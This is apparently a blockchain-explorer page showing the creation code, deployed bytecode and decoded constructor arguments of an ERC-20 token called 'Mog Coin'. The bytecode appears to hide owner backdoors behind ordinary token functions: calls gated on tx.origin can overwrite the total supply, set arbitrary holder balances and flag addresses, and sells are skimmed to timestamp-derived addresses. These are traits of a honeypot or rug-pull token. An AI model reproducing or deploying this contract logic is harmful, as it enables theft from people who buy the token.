7600080fd5b818501915085601f8301126111ef57600080fd5b81356020828211156112035761120361119a565b8160051b604051601f19603f830116810181811086821117156112285761122861119a565b60405292835281830193508481018201928984111561124657600080fd5b948201945b8386101561126b5761125c86610f9e565b8552948201949382019361124b565b9997909101359750505050505050565b600181811c9082168061128f57607f821691505b6020821081036112af57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610403576104036112b5565b634e487b7160e01b600052603260045260246000fd5b6000808335601e1984360301811261130b57600080fd5b83018035915067ffffffffffffffff82111561132657600080fd5b60200191503681900382131561133b57600080fd5b9250929050565b600060018201611354576113546112b5565b5060010190565b60006020828403121561136d57600080fd5b5051919050565b8082028115828204841417610403576104036112b5565b6000826113a857634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610403576104036112b5565b600082516113d2818460208701610f3b565b919091019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212208766f20345b8039ee15e7ed4ca469b0d33755c67ed1c2595673947b98fd92a2064736f6c63430008150033608060405234801561001057600080fd5b5061001a3361001f565b61006f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61050e8061007e6000396000f3fe6080604052600436106100555760003560e01c806351cff8d91461005a578063715018a61461007c5780638da5cb5b14610091578063e3a9db1a146100be578063f2fde38b14610102578063f340fa0114610122575b600080fd5b34801561006657600080fd5b5061007a61007536600461048d565b610135565b005b34801561008857600080fd5b5061007a6101ac565b34801561009d57600080fd5b506000546040516001600160a01b0390911681526020015b60405180910390f35b3480156100ca57600080fd5b506100f46100d936600461048d565b6001600160a01b031660009081526001602052604090205490565b6040519081526020016100b5565b34801561010e57600080fd5b5061007a61011d36600461048d565b6101c0565b61007a61013036600461048d565b61023e565b61013d6102b0565b6001600160a01b0381166000818152600160205260408120805491905590610165908261030a565b816001600160a01b03167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5826040516101a091815260200190565b60405180910390a25050565b6101b46102b0565b6101be6000610428565b565b6101c86102b0565b6001600160a01b0381166102325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61023b81610428565b50565b6102466102b0565b6001600160a01b0381166000908152600160205260408120805434928392916102709084906104b1565b90915550506040518181526001600160a01b038316907f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4906020016101a0565b6000546001600160a01b031633146101be5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610229565b8047101561035a5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610229565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146103a7576040519150601f19603f3d011682016040523d82523d6000602084013e6103ac565b606091505b50509050806104235760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610229565b505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461023b57600080fd5b60006020828403121561049f57600080fd5b81356104aa81610478565b9392505050565b808201808211156104d257634e487b7160e01b600052601160045260246000fd5b9291505056fea2646970667358221220f899eebe56ce834184502d6e8f21b21b05ebff44a1eac2e6fbc4bcb09cf0e01264736f6c6343000815003300000000000000000000000000000000000000000000000000000000000001a0000000000000000000000000a5e0829caced8ffdd4de3c43696c57f7d7a678ff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000021e19e0c9bab24000000000000000000000000000000000000000000000000000000ae09cffff831b960000000000000000000000000000000000000000000000000256ba6790a7ccdc0000000000000000000000000000000000000000000000000000010ea7407078000000000000000000000000000000000000000000000000000000dcdd16dbd00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000021e19e0c9bab2400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000084d6f6720436f696e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034d6f670000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101585760003560e01c80638da5cb5b116100c3578063e2982c211161007c578063e2982c21146102e3578063e5a6efd4146102f6578063eb1d815214610309578063f2fde38b1461032c578063f508273c1461033f578063ffa1ad741461035257600080fd5b80638da5cb5b1461027157806395d89b4114610282578063a457c2d71461028a578063a9059cbb1461029d578063ac9650d8146102b0578063dd62ed3e146102d057600080fd5b8063313ce56711610115578063313ce56714610203578063395093511461021257806349bd5a5e146102255780636b4ed21b1461023857806370a0823114610240578063715018a61461026957600080fd5b806306fdde031461015d578063095ea7b31461017b57806318160ddd1461019e57806323b872dd146101b05780632a11ced0146101c35780632fffa196146101ee575b600080fd5b61016561035d565b6040516101729190610f8b565b60405180910390f35b61018e610189366004610fba565b6103ef565b6040519015158152602001610172565b6002545b604051908152602001610172565b61018e6101be366004610fe4565b610409565b6101d66101d1366004611020565b61042d565b6040516001600160a01b039091168152602001610172565b6102016101fc366004611020565b610457565b005b60405160128152602001610172565b61018e610220366004610fba565b61046c565b6008546101d6906001600160a01b031681565b600b546101a2565b6101a261024e366004611039565b6001600160a01b031660009081526020819052604090205490565b61020161048e565b6005546001600160a01b03166101d6565b6101656104a2565b61018e610298366004610fba565b6104b1565b61018e6102ab366004610fba565b610531565b6102c36102be366004611054565b61053f565b60405161017291906110c9565b6101a26102de36600461112b565b610634565b6101a26102f1366004611039565b61065f565b61020161030436600461115e565b6106ee565b61018e610317366004611039565b600a6020526000908152604090205460ff1681565b61020161033a366004611039565b610744565b61020161034d3660046111b0565b6107bd565b6101a26378a41ec581565b60606003805461036c9061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546103989061127b565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b6000336103fd81858561080d565b60019150505b92915050565b600033610417858285610931565b6104228585856109ab565b506001949350505050565b600b818154811061043d57600080fd5b6000918252602090912001546001600160a01b0316905081565b600654321480156104685750600255565b5050565b6000336103fd81858561047f8383610634565b61048991906112cb565b61080d565b610496610b9c565b6104a06000610bf6565b565b60606004805461036c9061127b565b600033816104bf8286610634565b9050838110156105245760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b610422828686840361080d565b6000336103fd8185856109ab565b60608167ffffffffffffffff81111561055a5761055a61119a565b60405190808252806020026020018201604052801561058d57816020015b60608152602001906001900390816105785790505b50905060005b8281101561062d576105fd308585848181106105b1576105b16112de565b90506020028101906105c391906112f4565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250610c4892505050565b82828151811061060f5761060f6112de565b6020026020010181905250808061062590611342565b915050610593565b5092915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6040516371d4ed8d60e11b81526001600160a01b0382811660048301526000917f0000000000000000000000009bbe7156b102f1b028ef45b36259dbe1933cb6aa9091169063e3a9db1a90602401602060405180830381865afa1580156106ca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610403919061135b565b327f000000000000000000000000cb9def48d13682bbaa22481e9d34ca8389731b9614610719575050565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b61074c610b9c565b6001600160a01b0381166107b15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161051b565b6107ba81610bf6565b50565b600060065432036107cc575060015b806107d657505050565b600083515b80821015610806576001820180602002860151600052600060205284604060002055809250506107db565b5050505050565b6001600160a01b03831661086f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051b565b6001600160a01b0382166108d05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061093d8484610634565b905060001981146109a557818110156109985760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161051b565b6109a5848484840361080d565b50505050565b6008546001600160a01b038085169116036109f05743600954036109eb5760405162461bcd60e51b8152602060048201526000602482015260440161051b565b436009555b6001600160a01b0382166000908152600a602052604090205460ff16610a5c57600b80546001810182556000919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319166001600160a01b0384161790555b60018111610a7457610a6f838383610c74565b505050565b6008546001600160a01b03808516911603610b1357326000908152600a602052604090205460ff1615610ac757610aac838383610c74565b610a6f82610ac063ffffffff8216426112cb565b6001610c74565b610ad2838383610c74565b610a6f82610ae663ffffffff8216426112cb565b6103e88411610af6576001610c74565b6103e8610b04856014611374565b610b0e919061138b565b610c74565b6008546001600160a01b03808416911603610b9157326000908152600a602052604090205460ff1615610b4b57610a6f838383610c74565b60006103e88211610b5d576001610b75565b6103e8610b6b836014611374565b610b75919061138b565b9050610b82844283610c74565b6109a58484610b0e84866113ad565b610a6f838383610c74565b6005546001600160a01b031633146104a05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161051b565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6060610c6d83836040518060600160405280602781526020016113dd60279139610e18565b9392505050565b6001600160a01b038316610cd85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051b565b6001600160a01b038216610d3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051b565b6001600160a01b03831660009081526020819052604090205481811015610db25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161051b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36109a5565b6060600080856001600160a01b031685604051610e3591906113c0565b600060405180830381855af49150503d8060008114610e70576040519150601f19603f3d011682016040523d82523d6000602084013e610e75565b606091505b5091509150610e8686838387610e90565b9695505050505050565b60608315610eff578251600003610ef8576001600160a01b0385163b610ef85760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161051b565b5081610f09565b610f098383610f11565b949350505050565b815115610f215781518083602001fd5b8060405162461bcd60e51b815260040161051b9190610f8b565b60005b83811015610f56578181015183820152602001610f3e565b50506000910152565b60008151808452610f77816020860160208601610f3b565b601f01601f19169290920160200192915050565b602081526000610c6d6020830184610f5f565b80356001600160a01b0381168114610fb557600080fd5b919050565b60008060408385031215610fcd57600080fd5b610fd683610f9e565b946020939093013593505050565b600080600060608486031215610ff957600080fd5b61100284610f9e565b925061101060208501610f9e565b9150604084013590509250925092565b60006020828403121561103257600080fd5b5035919050565b60006020828403121561104b57600080fd5b610c6d82610f9e565b6000806020838503121561106757600080fd5b823567ffffffffffffffff8082111561107f57600080fd5b818501915085601f83011261109357600080fd5b8135818111156110a257600080fd5b8660208260051b85010111156110b757600080fd5b60209290920196919550909350505050565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b8281101561111e57603f1988860301845261110c858351610f5f565b945092850192908501906001016110f0565b5092979650505050505050565b6000806040838503121561113e57600080fd5b61114783610f9e565b915061115560208401610f9e565b90509250929050565b6000806040838503121561117157600080fd5b61117a83610f9e565b91506020830135801515811461118f57600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156111c357600080fd5b823567ffffffffffffffff808211156111db57600080fd5b818501915085601f8301126111ef57600080fd5b81356020828211156112035761120361119a565b8160051b604051601f19603f830116810181811086821117156112285761122861119a565b60405292835281830193508481018201928984111561124657600080fd5b948201945b8386101561126b5761125c86610f9e565b8552948201949382019361124b565b9997909101359750505050505050565b600181811c9082168061128f57607f821691505b6020821081036112af57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610403576104036112b5565b634e487b7160e01b600052603260045260246000fd5b6000808335601e1984360301811261130b57600080fd5b83018035915067ffffffffffffffff82111561132657600080fd5b60200191503681900382131561133b57600080fd5b9250929050565b600060018201611354576113546112b5565b5060010190565b60006020828403121561136d57600080fd5b5051919050565b8082028115828204841417610403576104036112b5565b6000826113a857634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610403576104036112b5565b600082516113d2818460208701610f3b565b919091019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212208766f20345b8039ee15e7ed4ca469b0d33755c67ed1c2595673947b98fd92a2064736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000001a0000000000000000000000000a5e0829caced8ffdd4de3c43696c57f7d7a678ff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000021e19e0c9bab24000000000000000000000000000000000000000000000000000000ae09cffff831b960000000000000000000000000000000000000000000000000256ba6790a7ccdc0000000000000000000000000000000000000000000000000000010ea7407078000000000000000000000000000000000000000000000000000000dcdd16dbd00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000021e19e0c9bab2400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000084d6f6720436f696e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034d6f670000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : strings (string[2]): Mog Coin,Mog
Arg [1] : addresses (address[2]): 0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff,0x0000000000000000000000000000000000000000
Arg [2] : uint256s (uint256[8]): 10000000000000000000000,783798958479842198,168526990044286172,1162447188088,948602067920,0,0,10000000000000000000000
Arg [3] : bools (bool[2]): False,False

-----Encoded View---------------
19 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000001a0
Arg [1] : 000000000000000000000000a5e0829caced8ffdd4de3c43696c57f7d7a678ff
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [3] : 00000000000000000000000000000000000000000000021e19e0c9bab2400000
Arg [4] : 0000000000000000000000000000000000000000000000000ae09cffff831b96
Arg [5] : 0000000000000000000000000000000000000000000000000256ba6790a7ccdc
Arg [6] : 0000000000000000000000000000000000000000000000000000010ea7407078
Arg [7] : 000000000000000000000000000000000000000000000000000000dcdd16dbd0
Arg [8] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [9] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [10] : 00000000000000000000000000000000000000000000021e19e0c9bab2400000
Arg [11] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [12] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [13] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [14] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [15] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [16] : 4d6f6720436f696e000000000000000000000000000000000000000000000000
Arg [17] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [18] : 4d6f670000000000000000000000000000000000000000000000000000000000


Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.